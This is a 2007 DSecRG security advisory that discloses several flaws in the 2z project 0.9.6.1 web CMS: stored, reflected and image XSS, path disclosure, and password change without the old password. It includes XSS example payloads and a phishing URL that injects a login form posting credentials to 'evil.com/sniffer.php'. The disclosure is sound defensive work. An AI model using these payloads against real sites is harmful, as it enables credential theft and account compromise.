2z-project 0.9.6.1 Multiple Security Vulnerabilities Dec 28 2007 01:26PM

Digital Security Research Group [DSecRG] Advisory

Name: 2z project
Systems Affected: 2z project 0.9.6.1
Vendor URL: http://2z-project.ru
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)
Reported: 27.12.2007
Vendor response: 27.12.2007
Date of Public Advisory: 28.12.2007

Description
***********

2z system has multiple security vulnerabilities:

1. Stored XSS
2. Linked XSS
3. Image XSS
4. Path disclosure
5. Vulnerable Password changing algorithm

Details
*******

1. Multiple Stored XSS

1.1 Vulnerability in script http://[server]/[installdir]/?action=addnews in post parameters:

parameter name = contentshort
parameter name = contentfull

Example:

contentshort=<script>alert('DSecRG XSS')</script>
contentfull=<script>alert('DSecRG XSS')</script>

1.2 Vulnerability in script http://[server]/[installdir]/2z/admin.php?mod=pm&action=write

parameter name = content

Example:

content=<script>alert('DSecRG XSS')</script>

---------------------------------------------------

2. Linked XSS Vulnerability in page index.php.
Working only if user not logged in. So it can be used for Phishing (see Example).

Template /templates/default/usermenu.tpl have vulnetability parameter "referer".
This template included to index.php, so it can be used for Phishing.

Source code of usermenu.tpl:
---------------------------------------
<form name="login" method="post" action="" id="login">
<input type="hidden" name="referer" value="{request_uri}" /> <-- html code injected into {request_uri}
<input type="hidden" name="action" value="dologin" />
..
<input onfocus="if (!set_login){set_login=1;this.value='';}" value="{l_name}" class="mw_login_form" type="text" name="username" maxlength="60" size="25" />
..
<input onfocus="if(!set_pass){set_pass=1;this.value='';}" value="{l_password}" class="mw_login_form" type="password" name="password" maxlength="20" size="25" />
..
</from>
---------------------------------------

Example:

http://[server]/[installdir]/?"/><form/name="login"/method="post"/action
="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/name="ref
erer"/value="
http://[server]/[installdir]/index.php?"/><form/name="login"/method="pos
t"/action="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/
name="referer"/value="

-------------------------------------------------

3. Image XSS Vulnetability in page /2z/?action=profile

Attacker can upload avatar and photo contained a XSS code.

Vulnerable parameters: newavatar, newphoto

For more information see http://www.dsec.ru/about/articles/web_xss/ (in russian)

-------------------------------------------------

4. Path disclosure

By exploiting this issue, an attacker may gain sensitive information on the directory
structure of the server machine, which allows for further attacks against the site.

Example:

http://[server]/[installdir]/index.php?template=test
http://[server]/[installdir]/?year=1234&month=06

-------------------------------------------------

5. Password changing vulnerabiluity

Old password not needed to change password.

-------------------------------------------------

About
*****

Digital Security is leading IT security company in Russia, providing information
security consulting, audit and penetration testing services, risk analysis and
ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security
problems with vulnerability reports, advisories and whitepapers posted regularly
on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)